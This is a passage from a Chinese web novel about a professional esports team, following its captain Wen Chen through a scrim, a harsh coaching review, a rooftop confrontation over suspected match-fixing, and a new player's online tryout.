“赢一把再吹吧大哥。”对面嘁了一声,然后问:“到底怎么回事,打的什么啊一晚上,你为什么去玩辅助了,还有你们AD是谁打的,陆寻然本人?他是哪边的啊为什么一直给我送?”
温忱失笑:“那你问他啊。”
“……不是兄弟,这就没意思了啊,咱们这关系,训练赛真没必要藏拙,有什么新想法您冲着国外那群b去嚯嚯,赛区一家亲的道理还不懂吗?别有点子手段就往兄弟身上使哈。”
被机关枪一样的语速吵得头疼:“别人菜你也要管?”
齐鹤鸣:“……”
但这也太菜了吧。
人身攻击的话他没好意思说:“菜你就换人,我不管,你要再这样打我举报你们打假赛。”
温忱:“……”
“没天理了还,分明就是故意的,老狐狸我还不了解你,你玩辅助就没干过好事,以为我会上当?”
真是天大的冤屈。
“头疼,先缓两局。”
这句是实话。
不过除此之外也有故意的成分,只是不足以道给外人听。
“靠。头疼就休息啊,DTL现在不当人到这个地步啦?”
臭名远扬,业内第一,也就他Once大圣人一个能在那待得下去。
温忱没搭腔,伸手打开柜子找吃的,寻觅半天最终撕了袋饼干。
对面一听这嚼嚼嚼的声音更震惊了:“饭也不给吃?”
温忱吃完饼干又喝了口水:“你神经吧。”
“哎,你也是不容易,不止老陆,你家那个新刺客也是菜得够可以。”
“这样吧,兄弟我给你指条明路,最近网上有个刺客大神,强是真的强,给我家岚皇都拒了,点名要加入你们DTL,你直接跟上头提议一下看看能不能收编得了。”
提到这个温忱头更疼了:“知道不当人还让人家来,他跟你有仇?”
“那人各有志啊,谁不知道DTL狗,他指明要来,没准别有所图呢?”
温忱:“……”
“不过DTL也没什么别的可图的,大概率还是图你。”
温忱:“拜拜。”
“诶——别——”对面赶紧闭嘴表演变脸:“我不说了行了吧,求你了大哥,下半场好好打,你知道现在训练赛有多难约吗。”
“……”
后三场温某人些微端正了态度,没再选辅助,齐队长求仁得仁,两边打得有来有回,酣畅淋漓。
为了感谢对方队长舍己为人,顶着头痛,饿着肚子打完比赛,PUP自掏腰包给DTL全员点了顿夜宵。
温忱没什么胃口,说句累了就早早回房,留另外几人在楼下化悲愤为食欲。
晚上打得不好,虽说后半段力挽狂澜,但是个人都明白功劳在谁,混子当久了突然暴露人前,怪尴尬怪丢脸的。
明天复盘铁定又要挨骂,贺倾老油条一个,无甚所谓,还在刷短视频,陆寻然黑着一张脸不知道在想什么,只有新人Kun在鬼叫。
“怎么办啊,我感觉我今晚打得烂透了,明天头都要被骂掉吧……”他甚至有些怀疑自己:“太奇怪了,明明比赛的时候都还好好的……怎么队长一不说话我就完全不知道怎么打了,跟没头苍蝇一样,以前学的打法思路一下忘光了一样……”
“而且你们都看到了吧,最近网上还有个厉害的主播说要来我们战队,我看过他直播,真的真的很厉害,我不会地位不保吧呜呜呜……”
贺倾面不改色:“放心吧,他替不了你。”
“为什么??”
拿起一块披萨,贺倾头都没抬,语调听似随意:“因为他太有脑子太有想法了,不适合我们战队。”
Kun一脸疑惑:“有脑子有想法不是好事吗?”
“在别的地方是,但在咱这儿不是。要知道,咱们队伍的传统是想拿成绩就得先把脑子丢掉。”
Kun大惊:原来我没脑子吗!
“咱们温大队长不是一般人,点子多还不稀得提前和我们说的,你想想看,我们是不是从来乖乖指哪打哪?”
“这要是再来一个爱动脑子的,两人万一意见不统一,到时候咱听谁的啊?”
感觉好像被骂了,但Kun又有点庆幸的人想了想,好像倒也没错。
温忱坐指挥位,并非是全程都喋喋不休的那种,一般提前布好点位就各自发育,需要进攻出击或是转移方向的时候才会再开口,直截了当的把下一步该干嘛分配到个人。
但不会告诉你为什么这么干。
就像和Peak决赛的那把,他一声令下,自己屁颠屁颠去跟着偷不可能偷得掉的神像,当时也是蒙得厉害的。
作为新人,Kun完全没有想过质疑前辈,若有所思地点点头:“也是,而且算温队说了我也跟不上他的思路。”
贺倾无所谓地嗤笑了一声:“是啊,跟不上。”
只会越来越跟不上。
其实贺倾早些时候也时常在想,按照Once这样的打法,难道不是队里随便拴三条狗都可以吗?
是不是他们压根无所谓,只要反应力和操作跟得上,随便从青训营里挑两个来,打出的结果应该也没差距。
所以他想不通DTL为什么会一直留着他们几个,像是特别珍视这个队伍的原班人马。
犹如不可替代一般。
Windy那边尚可以用与Once的交情来解释,那么他和陆寻然呢?
相比队友情谊,他们之间用“深仇大恨”来形容似乎都更为贴切一些——
---
四年前的DTL还是老队长Zedan带队,成绩平平,不出众也不怎么会出错,是一支游离在热搜外围的队伍。
温忱的出现是个变数,对俱乐部而言,更对他们所有人而言。
他能力太过出众了,操作行云流水,打法新颖多变,同一个英雄在不同地图、不同时间段都能打出完全不一样的作用,而且能做到全局零失误,试训期的每一场比赛都能挑出几个精彩瞬间。
同期生与其完全不在一个层级,当时的教练组几乎想都没想就要把人编进首发。
老队长第一个反对,理由是战术思路不一致,没有团队意识,试训的比赛打得亮眼但胜率不高,因为根本没人跟得上他,脱节情况太严重了。
这倒并非无端质疑,俱乐部管理层显然也发现了这一点,团队游戏里配合向来很重要,而这位少年是酷爱单打独斗的类型,鲜少与队友沟通。
对此,俱乐部经理特地找他谈话,询问缘由,得到的回复是,“因为我也不确定下一步会去干嘛,都是根据场上形势临时起意的,不知道怎么说。”
经理沉默半晌,想了想那几个哪怕翻遍整个联盟也绝无仅有的亮眼集锦,又看了看这张青春帅气到
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直接出门左拐加入隔壁娱乐公司收拾出道也不是不行的脸。
最终还是一拍桌案,签了。
但是编进首发之后的日子并没有很好过。
这个小年轻和队伍之间的配合可以用稀烂来形容,不仅是因为他自己的问题,更多的是来自老队员们的排斥。
墨守成规惯了的人接受不了改变,就将创新多变的战术打法恶意归类为花里胡哨,不伦不类;
和新人三观性格不合,又怕在势头上被人家盖过,就将志气高昂的少年被污蔑成了飞扬跋扈,不敬前辈。
……
往事回想起来自己都觉得理亏,贺倾最终还是在日复一日的、报应般的丧失自我中逐渐悟透了被留下的原因。
其实想通了会发现很简单也很残忍——
因为Once的打法太极端了,就像最开始老队长说的,他的思维太过跳跃了,对面摸不清,队友也摸不清,团队协调非常受限。
DTL寻遍了天也找不到第二个这样的天才,那么在没有跟得上他思路的队友时,拴着三条好拿捏的狗就显得尤为重要了。
可以不融洽,但不能不听话。
电竞新人里想和Once做队友的数不胜数,但年轻气盛者都太难把控,未必能做到丢掉自己的想法被别人带着走。
DTL求稳,担心磨合出问题,合同剩余的时间也不值当冒险,故而才会一直留着混吃等死的但已经习惯言听计从的老人。
……
不知道是不是想到了同样的事情,半天没说话的陆寻然冷笑着往沙发上一靠:“一言堂战队向来是这样的哈,不管你跟不跟得上,打法自由是肯定没有的,现在更有意思,连言论自由都快没有了,说两句惹人家不开心了就要一直被针对。”
嘴里吃的是承别人情来的,也不妨碍他骂。
“赛场上就开始了,玩辅助搬我经济,自己玩C位又把金币池锁了,生怕我报复一样。”
“好在是赢了,我就一直忍着没说。但今晚你们也都看到了,变本加厉,连抢三把辅助让我去玩C,全程也不保人,我被对面锤爆了他难道就很有脸吗?”
贺倾偏过头看了他一眼,又瞅了瞅二楼紧闭的房门:“你小点声吧。”
“我干嘛要小声。”
他今晚的战绩最难看,PUP的队长Stock刺客跃刃出家,因为酷爱抓C得名“ADC质检员”,根本摸不清会从哪冒出来。
“质检”不过关的人心里窝着火,谁的面子都不给:“什么都不说就有人把你当人了?他自己的问题休赛,我们陪着看了半年饮水机,回来了风头又成他的——只要他在,谁看得见我们的努力啊?”
贺倾莫名其妙:“我们努力啥了?”
这半年他反正过得蛮爽,而且眼瞅着陆寻然更爽,真谈努力估计也就努力增肥养膘这一点了,实在不懂这货是在无病呻吟些什么。
“你……”陆寻然无理也要辩三分:“那是我不想吗?反正都是白费力气,谁还愿意拼劲?”
“那你想着吧,我反正不想,我也不拼。”
贺倾搞不懂他,早几年有怨言也就算了,这都快25了,正是摸鱼摆烂等退休的好年纪,还有大佬带躺,安安心心等退役爽都爽死。
他倒好,跟叛逆期滞后一样,还喊起拼搏口号了。
零人跟团,Kun吓得从几句话之前就没敢再动筷子,这会儿才弱弱开口:“……陆哥,您消消气,我看队长他这两天脸色不太好,估计是不太舒服,肯定不是针对您……”
“呵,他不舒服……他看我们不舒服别提多舒服了。”
说完就没好气地起身上了楼。
17. 第 17 章
早早歇下的人没听到这一番白眼狼言论,但也没有睡得很好。
翻来覆去地做了好几个重叠的梦,没头没尾的画面接连闪过,灯火阑珊的街道、喧嚣吵闹的校门、日光乍破的山野……
最终定格到了万人鼎沸的场馆。
灯光刺眼灼目,呐喊不绝于耳,他伫立于聚光灯下,漫天飘落的彩带落作勋章,四方翻涌的红色旗帜化为巨浪。
这是他第二次站在这个位置。
明明更为盛大,明明更为热烈,却还是像少了什么,丢了什么一样。
梦境中的人辨不清缘由,只觉得心中空落,漫无目的地在人头攒动中寻找着什么……直至瞥见某个一闪而过的身影时,毫不犹豫地转身,冲破花雨,奔向血红浪潮。
然而就在这一刻,灯光俱灭,哗声骤停。
黑暗一路侵袭,死一般的寂静笼罩而下,阴冷寒意从脚边生起,仿佛要将人拉进无边无尽的深渊……
那个身影站在深渊之上俯视着他。
背后是一片遥远的光亮,眼底却是一片黯淡无光。
那面容在空洞中逐渐扭曲,被孤独渗透,被绝望吞噬,愤怒、怨恨、厌弃接踵而至。
后退,远离,渐行渐远,眼看就要消失在尽头的光辉之处……
编织的梦幻在这时开始剧烈抖动,变格塌陷,解体重构。
画面再次清晰时,已经远去的少年再一次站在了漩涡边缘,眼里是冰冷的固执与倔强。
然后忽然抬脚,朝着自己所在的深渊一跃而下——
……
温忱猝然惊醒。
窗外天色阴沉,盯着天花板缓了几秒,揉了把脸坐起身,才发现额间湿漉漉的,淌了不少汗。
不是第一次做这种梦了,温忱之前就向江复咨询过这个情况。
得到的诊断是一种适应障碍的混合型,涵盖着比较特殊的分离焦虑,相比普遍意义下过度依赖导致的无法离开,成因更多出自于是自己一手造就的分离。
因为由他促成,所以分离后的不确定性与可能会导致的各种不利情况都在潜意识中被大包大揽在了自己身上。
客观体现在担心他过得不好,但更深层次的,连温忱自己都不愿承认的,和他的做法自相矛盾的——
是其实并不想被讨厌。
所以通常,在看清那张脸上扭曲的恨意时,也就在此刻惊醒了。
后面的那个画面,倒还是第一次出现……
知道自己大概率是睡不着了,温忱起身冲了把澡下楼。
刚过八点,阿姨正在收拾昨晚狼藉的餐桌,看到他惊了一下:“孩子咋起这么早,要出门?”
脑袋懵懵的人胡乱摇了摇头,走进厨房准备给自己下碗面,但在等烧水的时候发呆出了神,锅盖被水蒸气顶得张牙舞爪,眼看彻底跳脚,是不放心跟进来的阿姨及时化解了一场惨剧。
最终被轰出了厨房,方便面也变成了营养的青菜鸡蛋面。
边吃边听阿姨苦口婆心地与他说话:“小忱啊,你们真的得多注意身体,现在仗着年轻天天昼夜颠倒的,以后年纪大了会吃不消的……”
林姨年过五十,慈眉善目又热心肠,是真的心疼他们。
“阿姨知道你们这赚的是青春钱,辛苦得很,所以营养是一定要跟上的,你看你现在瘦的,那些垃圾食品以后真得少吃,想吃什么姨给你做哈!”
温忱离家早,因为各种原因这些年和家里联系不多,自小接收到的亲情就很淡薄,因此被这么念叨了一番也没觉得烦,发自内心地应下了,说了句谢谢林姨。
吃完早饭去训练室单排了两把,温忱几乎一整个赛季没打过排位,段位不高,再加上这个时间点又过于阴间了,遇到的多是熬穿夜的,脑子不大清醒,操作也五迷三道。
他连打了三把AD位,被放生情况都十分严重,甚至有一把还被自家战士辅助联手卖了两波,家里刺客不知道情况张口就喷,问他怎么这么菜,不能打就去挂机。
菜但世界冠军的人委屈不语,在第四把默默把预选位置改成了突击。
众人都以为Once是狙击手出家,因为加入DTL后的第一次正式亮相就是拿的狙击手,且凭借一手精妙伏击战术带领队伍逆风翻盘。
当时对战的TAR是出了名的能苟能阴,过于考验对手心态,与其交手的战队大多苦不堪言但又没有什么应对方法,直到那一局,Once的狙击手横空出世。
隐蔽绕后摸点,凭借视野优势探查敌情,成功获取埋伏的关键信息。
攻守之势逆转后,又活学活用,仿照对方的伏击方法引人上钩,在队友赶来前一发瞬狙加平A带走了敌方枪炮手,以四打三的优势团灭对面。
一波三十分钟的团灭,每个人的复活时间都长达100多秒,神仙也无力回天,DTL直接交战即胜利。
观众们第一次看到这种AD做先锋的打法,不可谓不精彩绝伦,而且是用TAR这种惯常恶心人的伎俩反杀,格外大快人心。
自那一战起,Once就被大肆吹捧,人们自然而然的将这秀出天际的狙击手当做了人家的一手职业。
却殊不知,温忱其实最开始主玩的是刺客。
从十五岁刚接触这个游戏,到十七岁被招进战队,这中间一年多的时间里,靠着各种小比赛赚钱生活,他一直都是玩的刺客。
——倒不是有什么情怀,只是因为玩刺客的人少,民间偏爱的冲锋打法既吃刺客操作又容易让其背锅,在各个队伍里都是稀缺位置,更好进队罢了。
温忱的打法从来激进自我,和大多数队友都磨合不来,辗转过不少队伍,大众榜上的有,名不见经传的也有,成绩拿过不少,但最终都是好聚好散。
说那段日子过得不艰难是骗人的,纵然青春热血,但到底漂泊无依。
看不清未来也抓不住当下,指尖操纵的对局瞬息万变,亲身经历的也是。
曾几何时,温忱发现,其实陪着他一路走来,从没变过的,好像只有这个并不受欢迎的刺客职业。
形影不离,同气并蒂,所向披靡。
相伴走过漫漫无光的荆棘长路。
却没能够并肩迎接光明,战至终局。
……
刘厚来到基地的时候温忱还在单排,看看空荡的训练室又看了眼表,本就不好看的脸色再添新绿:“几点了,怎么就你一个?都还能睡得着?”
温忱没抬眼:“不清楚呢。”
“……你真就一点不管他们?”
“我?”他操作着人物一刀刀砍着小兵,笑了笑:“我管不着吧。”
刘厚皱了皱眉:“你是队长,该说的平时还是得说,整天一点组织纪律都没有怎么行,没几天就新赛季了,赛季结算期还有表演赛,就现在这个表现,你准备让他们表演丢脸吗?”
“说就有人听了吗。”
走位灵活地躲掉了一个控制,反手两个技能精准结果了试图反抓他的跃刃。
“你还是教练呢,连想换个人上场的话语权都没有,依我看咱俩还是谁也别说谁了。”
“……”
不甘心的“靠”了一声,但又的确没法反驳,地位太低的刘教练给自己点了根烟,沉默地抽了两口,伸头看了眼地位同样不高的队长的屏幕,才发现他居然在玩循影。
“怎么玩起刺客了?”
“上分快。”
刘厚不理解,他二线带队多年,还没听说过刺客比AD好上分的理,但看着身边人一顿操作猛如虎,双杀敌方射辅,又觉得
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好像理解了一些。
顺势团灭对面,对局来到十分半,胜负已定,启动摧毁神像的读条后,温忱解放双手,朝刘厚勾了勾,示意他给自己也来一根。
刘厚资历老,在职时间长,从温忱进队就在教练组,一路干上组长,也一路眼睁睁看着这个纯净少年被蹉跎成了老烟枪。
内心有些复杂地伸手给人点了烟:“你今天打了多久?又不怕不舒服了?”
“还好。睡不着,没事干。”
“又失眠?最近也没那么大压力啊,不就一个挑战赛,Peak不当人对你打击这么大吗?”
“和那没关系。”
和什么有关系他没好意思说,退出结算页面,再次点击匹配。
依旧秒锁循影,依旧越打越凶。
本意是来开批斗大会骂人的刘厚越看越舍不得走了,心思也跟着屏幕飘到了别的地方。
林词他们看不出来,他这个专业人士还不至于也眼瞎心盲,那晚挑战赛的路人循影明明就是和面前这个人打得一模一样。
绝对不是巧合,也不可能出自自学的,一模一样。
再加上这几天网上沸沸扬扬的那个新人主播,不仅是DTL官博号被刷屏,还有不少粉丝已经追到他的微博下面留言,说让他考核考核看看,这位是真的天才。
刘厚点进直播间看过,是很强,而且强得也很眼熟。
思索了一根烟的时间,最终还是没忍住问出口:“Once,你给我交个底,是不是背着我们偷偷在外面开班搞教学了?”
“?”
温忱简直好笑,但转念一想,好像也是条出路:“谢谢提醒,等退了之后我就干这个了。”
刘厚:“……那你和我说道说道呗,现在网上的到底都是什么情况啊,一个是例外,两个三个就不应该了吧?”
“别人看不出来就算了,我还能也睁眼瞎?那个叫Again的新人主播,跟你初期玩刺客的状态不要太像,打得像就算了,和人对喷都跟你一个路子,看了两把我都以为我穿越了。”
温忱根本不打算承认:“那咋了,我手和嘴又没申请专利。”
“……”
就这劲劲的感觉,像tm极了。
刘厚:“我跟你说,可靠消息,上面真准备要人。”
温忱头也不抬,忙着找C位位置:“怎么可能。”
他比贺倾他们更早摸清那群人的路子,只要成绩别的统统都不管,早几年也就算了,现在自己合约不足一年,Windy又刚退,根本犯不着冒这个险招个新路子的人来磨合。
“怎么不可能,厉害的是多,厉害到这种程度的得多少年才能出一个?你知道自从那人在直播间表明了有打职业的意思后多少战队联系他吗?”
“包括PUP岚皇在内,光我知道的就有七八个,那AIK的教练还特地来催我们赶紧表态,别跟渣男一样吊着人家。”
温忱斜了他一眼:“知道就赶紧拒绝啊。”
“哪里舍得拒绝啊,再说了,现在队伍插不进来,留着以后替你的班不行吗?”刘厚睨了他一眼:“不然你合同到期甩手走人了,我们都不吃饭啦?”
“想吃饭建议还是别找他了。”
温忱不太敢细想沈岸这么做的具体原因,但首先排除是想救DTL于水火。
不仅没打算拯救他们,还百分之两百的没安好心。
对局眼看结束,温忱也不是真的关心他们是否吃得上饭,提示点到为止。
“你还开不开复盘会了,不开就滚一边去别打扰我上分。”
一听这话,被好奇心覆盖的火气瞬间又窜了上来。
刘厚拍案而起。
“开!怎么不开!换不掉他们我还不能骂几句解气吗!”
18. 第 18 章
林词从俱乐部看完会过来传话,推开会议室门就听见刘教练在训人。
“这一波,我可以请教一下您老人家在做什么吗?在对面猎刃视野已经消失几分钟的情况下,为什么还要去贪一个没有掩体的野怪?”
“还有这一波,对面明显是在溜点,你倒好,残血了放着手边的治愈神像不去,非要往战士那靠暴露队友位置,他他妈都自身难保了是能奶你还是能保你啊?”
陆寻然的问题暴露的最大,被骂得也最狠,大屏幕上随便一暂停都是他的死亡倒计时,被逐帧解析。
“是,你不是主玩AD的我知道,操作变形我都不说了,但意识呢?你的意识呢???这都不用职业选手,你他妈现在上直播平台,随便进个钻石段朝上的直播间,看看人家娱乐主播碰上抓C的刺客没视野了知不知道躲,被溜的时候知不知道别去卖队友!!”
刘厚早年在役时就脾气火爆,骂哭队员都是常态,退居二线这几年被DTL磨平了性子,平时还算收着,今天爆发除了昨晚打的太差之外,也是因为想骂这两个b的的确确不是一天两天了。
“还有你,贺倾。”
“你玩战士玩了有四五年了吧,初代战士一手职业啊,这么多年的经验都到狗肚子里去了?你现在是连最基础的连招都会失误,两波开团,两波掉点,就这一波,对面AD辅助都是半管血,你血条是别人三倍,但凡规避一点伤害呢?打不过还能活不到等支援来吗?!”
贺倾死猪不怕开水烫,菜就菜了,骂就听着。
陆寻然不大服气,几次想插嘴,但奈何刘厚气势太足,喋喋不休的实在没给他开口发机会,只能在沉默中铁青着一张脸。
再下一个是Kun。
刘厚对待新人也没太嘴软:“你知道你现在还没定在首发吧。”
“同样是玩刺客的,你看看对面是怎么抓的点,怎么当的先锋。机动性那么强的英雄,被你玩得像个只会逛街的傻子,人是抓不到的,点也是探不到的,全局一点有用信息不给,全队跟着你当睁眼瞎。”
“Windy以前是这么教你的?你这个水平对得起你师傅吗?我丑话说在前面,赛场不是情谊说话的地方,打得不好就换人,谁徒弟都不好使。”
这话过于意有所指,前一天晚上才被安慰过的人一下子又心提到了嗓子眼。
本着公平公允的原则,谁也没偏袒,差点吓哭小孩后刘厚又向带头乱选位置的人开火。
“你也别光看戏。”
“练习赛是给你捣乱的?身为队长带头抢位置,传出去了别人怎么想啊,名声还要不要了。”
温忱没有避其锋芒,淡淡反问:“换个位置玩就要声名不保啦?”
“问题是你不觉得换完之后打得有些过于夸张了吗?”跟他妈恐怖片似的。
“不觉得,正常发挥而已。”
言下之意,一直就这水平。
刘厚愤怒的目光忽然变得有几分敬畏,心想这人半天憋出一句话居然比自己骂到现在的都难听。
不过说得也没错就是了。
他作为教练恨铁不成钢是一回事,心里门清是另一回事。
已经吃过一次不成气候的亏,全员退赛的逃兵历史到现在还被黑粉们记在耻辱柱上。
林词旁听到现在,眼见着走向不太对,赶紧开口:“教练说你们就听着,强度该加就要加,我们是要延续佳绩的冠军战队,想想看有多少双眼睛盯着你们呢!”
看了看脸色都不太好看的队员和教练,他难得唱起红脸:“训练赛能暴露问题总归不是坏事,趁着赛季末休整,多上点心,不要没有赛事压力就闲着,训练外的时间一起组队打打匹配找手感都是好的。”
除了训练外基本从来没有组排过的四人谁也没抬头看谁。
“好了,批斗大会就先到这吧,回去各自改正,我先通知几个事情。”
林词敲敲桌面:“一个是新赛季直播合同拟好了,还是老平台,具体时长做了调整,已经发到你们邮箱了,各自看一下,了解一下新规,不要犯原则性错误。”
“还有,近期俱乐部要更新你们的个人形象照和战队宣传视频。”目光从温忱身上扫过,重点叮嘱另外三人:“请诸位短期内抱抱佛脚,稍微注意一下形象管理。”
“另外……”
“表演赛之后,俱乐部安排了一次聚餐,周经理和近期才回国的许理事都会到,待会我把时间位置发群里,有事的提前安排好,务必全员到场。”
散会后,几人都没什么精神,睡醒饭都没吃就挨训,这会又天降噩耗,无精打采地拖着步子往训练室走。
贺倾尤其愤懑:“真服了,俱乐部那边每次请客都没好事,上次是为了坑我们去那个谁上谁挨骂的找喷明星赛,这次又不知道憋了什么坏屁。”
Kun被骂得有点呆,这会儿脑子里还在回荡那句“你知道你没有定在首发吧”,埋着头没吭声。
另两人更没有理他的意思,一前一后走过拐角时,陆寻然忽然停下,温忱路过他身边时听到他说了句,我有话问你。
从手机屏幕上收回视线,发现对方已经抬脚往训练室另一侧的露台走了。
七月份的暑气正浓,跨过平台就感到阵阵热浪袭来,因为是阴天,热风中还带了些湿气,来自密布层云中即将落下的雨。
陆寻然顺手关上露台门,开门见山:“你到底什么意思?”
“明知道昨晚对面是Stock,那个老阴b就喜欢切C,还一句话不说就让我去打AD,你敢说不是故意的?”
“故意的,怎么了?”
温忱点了支烟,一手搭在栏杆上,修长双腿交叠倚在一侧,眯起双眼懒懒看他:“我以为你就喜欢玩C呢。”
真君子坦坦荡荡,就是故意恶心你,就是觉得你该死,就是瞅准了对面爱抓C送你个菜逼去挨揍。
怎么了?
“……你他妈有病吧,谁爱玩了,我要说几遍是点错了点错了,你不听懂人话吗?”
“呵。”温忱勾唇笑了笑:“早不点错晚不点错,遇到Peak就点错了,是吗?”
瑞士轮中第二次撞车Peak,其实并非温忱先选的辅助,而是陆寻然“不小心”敲错英雄,抢了射手。
这种错误放在别家任何选手身上都是能被队友喷死的,但偏偏DTL队风淳朴,温大队长接受能
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力异于常人,只是看了他一眼,就默默选了辅助补位。
陆寻然当场疯狂解释道歉,说自己是不小心点错了,太久没上赛场紧张手生,温忱没有说什么,但后面又连选两把辅助,在他看来无疑是刻意报复。
只是自己有错在先,也不好多说什么,况且打满Bo3把对面送上积分顺位,纯属意外收获。
因为后面没人再提过这件事,陆寻然也就想当然地以为这一篇已经揭过去了,决赛时候的再次换位置也被他归结于自己的挑衅发言。
还真从来没有想过原来一直被针对的原因会是这个……
于是从昨晚起就站在道德高点指指点点的人到突然有了一瞬的慌神。
“你讲这话什么意思?”
隔着缓缓升起的烟雾,温忱有些看不清对面那人的轮廓表情,不过也无所谓他反问这话时脸上到底是心虚还是恼怒。
“意思是人不能太蠢,陆寻然。”
温忱干脆没再看他,露台的位置正对着江的一岸,因为天气原因,乌云笼罩下的江面没有凌凌波光,漆黑深邃,一眼望不到边,显得沉重而压抑。
背对着他吐出一口烟:“你是真觉得我看不出来,还是真想不通为什么在赛场上就只针对你啊?”
陆寻然眉心一颤。
拒绝战术回击、临时位置调整、经济和金币池的诡异分配、甚至包括反向刺探的战术……
一切终于被他迟钝地串联起来。
“你怀疑我和Peak串通打假赛?!”陆寻然先声夺人:“我他妈疯了么?输了比赛对我有什么好处?!现在整治这么严,我图什么???”
温忱回过头,莫名其妙地看他:“我也想不通你图什么。”
再混也混到了个冠军战队的名头,国内独一份的荣耀,拿着天价签约费,训练时间还低于大多数一线战队。
谁能知道他图什么。
四目相视的那刻,恰有一阵风卷着乌云飘过,天色眼见的又暗了几个度,一片愁云惨淡之下,两个身影隔空沉默对峙。
陆寻然个子不高,一米七出头,还有些圆润,在气势上似乎输了一头,但偏又胜在长相上更具攻击力,深眼窝,鹰钩鼻,眼神也很犀利。
“所以,搞了半天你根本不是乱打,而是一直都在故意防我?”
温忱打着弯站都比对方高出大半个头,垂着眼看他:“你非要这么说也没错,不过但凡有一点良心的话,应该会理解为我是在拉你一把。”
“意思是我还得谢谢你?”
“不用谢。”
一根烟结束,温忱直起身往回走,风吹动衣角和发梢,尼古丁的气息之下掩藏着一股淡淡的薄荷清香。
擦肩而过时,他放缓脚步:“都不是十几岁的新人了,在赛场上的日子本来就过一天少一天。”
最后目光收回,谏言落地:“且行且珍惜吧。”
拉开露台门,基地内三百六十度无死角的凉气立刻袭来,身后在这时响起了一声闷雷,眼看暴雨就要来临。
陆寻然的脚步没有跟上,站在山雨欲来的阴霾之下冷冷开口。
“温忱,你就这么笃定是我要背叛你吗?”
19. 第 19 章
打上国服榜和收到DTL赛训经理的好友申请是前后脚的事情。
因为爬榜期间一直开着直播,前期场场有录屏,中后期更是有几十万观众见证,强得没有任何水分,所以省略了很多求证战绩真实性的步骤。
沈岸主打的就是一个效率,加上好友后更是直接先发制人,问什么时候能进队。
赛训经理张峥脑门上冒出一串省略号,心想这孩子也太莽太自信了点吧,但毕竟实力说话,高层对这人十分满意,特地嘱咐了要做好工作。
于是默默敲字回复:您好!目前就您的天赋与潜力来看,是符合我俱乐部职业竞技标准的,但鉴于我们战队始终致力于构建具有较强协作和竞争力的阵容体系,还需要通过一段时间的试训计划,才能进一步评估双方合作的可能性!
Again:我有阅读障碍,可以长话短说吗?
Mr.Zhang:……意思就是别急,得通过试训才能决定最终能不能进队。
Again:哦,但是我很急,你想想办法呢。
张峥无语,几乎已经能够在脑子里构建出一个不学无术还脾气火爆的社会小青年形象,一方面发愁该怎么哄着人乖乖听话走流程,一方面又愁真把人弄进来了青训营会不会变得乌烟瘴气。
过了一会,Mr.Zhang:这样吧,咱们过两天可以先约一场比赛打打看,我们教练团队会根据比赛表现评估你的个人技术和团队契合度。
沈岸还有一门课没有结业考试,需要下个月才能回国,但碍于其固执地表示非常赶时间,最终试训比赛调整为线上进行。
为了能够确认是其本人操作,双方约定好在直播间全程开启摄像头转播,但是得设置成私密直播,仅对DTL教练团开放,且后期也不能向外公布任何有关试训比赛的内容。
比赛的阵容是教练组安排好的,同期训练生对战二队队员。
位置已经提前分配好,张峥拉了语音房问几人有没有什么疑问,其余三人老老实实说没有,沈岸说,“原来你们还有二队啊?”
张峥:“……”
他前两天才看过这人的证件信息,属实不知道该怎么通过如此刻薄言语代入那样一张乖巧好看的脸蛋。
张大经理阅人无数,直到沈岸打开摄像头的前一刻都还在坚信那张证件照是凹造型加高P,真实皮下绝对是个混不吝的痞里痞气臭小子。
结果下一秒就被突如其来的美颜暴击狠狠打脸。
沈岸此前没有开过摄像头,初次开启的时摄像窗口是占据大屏的,广角非常死亡,但帅得毫无影响。
冷调的光从侧前方打下来,长睫扫下一片扇形阴影,冷白如陶瓷般的肤色在高分辨的摄像头下显得吹弹可破,满满的胶原蛋白,嫩得像是能掐出水一般。
张峥难以置信地看着这张乖得和证件照别无二致的脸,半晌后倒吸一口凉气。
心道,真是天不亡我DTL。
一切准备就绪后,比赛正式开始。
同队的青训生看起来不是第一次打这种比赛,交流起来比较熟练,选英雄阶段就开始分析对面会怎么打。
声音比较沉稳的是辅助选手,这把选的是治疗型辅助天愈。
“对面经验和配合都在我们之上,我觉得我们前期可以打苟一些,暂时不过图。”
因为游戏设定是以中场为界,双方占据完全对称的两方地图空间,不过图的意思也就是不进入对面版图,只在自己家门前发育,但也意味着放弃了视野信息和先手权。
“那会不会太被动了啊,万一被他们先手探到位置怎么办?”
这次说话的是家里输出位,听起来有些怯生生的。
战士想了想觉得二人说的都有道理,将二者折中:“那就在家里抱团,见招拆招。”
沈岸没对他们的打法提出意见建议,默默敲定循影,礼貌告知:“你们三个抱吧。”
然后像个背负行囊独自离家的勇士一样,毫不犹豫地朝着敌方出击。
家里三个队友对此人也是略有耳闻,辅助想了想决定改变主意,跟随大佬脚步:“需要我和你一起吗?”
沈岸无所谓:“随你。”
天愈作为游戏内唯一拥有回复技能的英雄,打法相对简单,用处很大,一直以来都是最受欢迎的辅助位,一经选出,不出意外都会被队友抢着求跟随。
但显然沈岸对此并没有什么需求,不等天愈跟上就直接发起进攻。
这场比赛的地图是一张赛季新图,时漏穹顶,未来科技风,新颖且花哨,地面和天空都是赛博风格,几乎所有掩体都变幻折射着五彩斑斓的光,又被称为显卡攻击图。
沈岸在一片闪烁着红紫光线的集装箱后掩藏着打怪,因为实在有些晃眼微微眯着眼睛,眉头也跟着轻轻皱起,光怪陆离的色彩打在稚嫩秀气的脸上,显得格外不解风情。
张峥目光不自觉的就飘到了小窗上,看了半天还是不愿相信有人能顶着这样一张脸大杀四方且语出惊人。
可现实再次给了他沉痛一击。
敌方输出仗着地图掩体多,没有局限于在神像周边打怪,等刺客已经开完前方大部分视野后,独自一人来到了地图边缘。
因为全图野怪共享,沈岸敏锐发觉周边的怪物数量骤减,意识到附近可能有人,于是摸索着向后绕了两个身位,果然在一处厂房门口发现了敌方枪炮手,Wink。
这个ID沈岸还是记得的,倒也没多想什么,直接操纵着循影打了个背身偷袭。
指尖在键盘上飞速跳跃,操作犀利得不像话,Wink反应过来后立刻翻滚架炮躲避,凭借着丰富的训练经验和肌肉记忆勉强躲过了致命一击,然后一边远距离反打一边撤退。
枪炮作为AD,射程是比循影要远的,一旦拉开距离刺客并没有胜算,而且不知道敌方其余人的位置,怎么想都该放弃进攻。
但沈岸却完全没有一丁点后撤的意思。
迅速位移到了手边的一个集装箱旁躲避一发炮轰,然后卡着视野使用了隐身斗篷,隐身朝着某一个方向追去。
他在赌对面的撤退路线。
一直在追赶循影步伐的辅助不淡定了:“我天,你等等我马上到。”
沈岸没理会,超近道选择了一处蹲点,隐身时间结束时枪炮手刚好从另一个拐角拐出来。
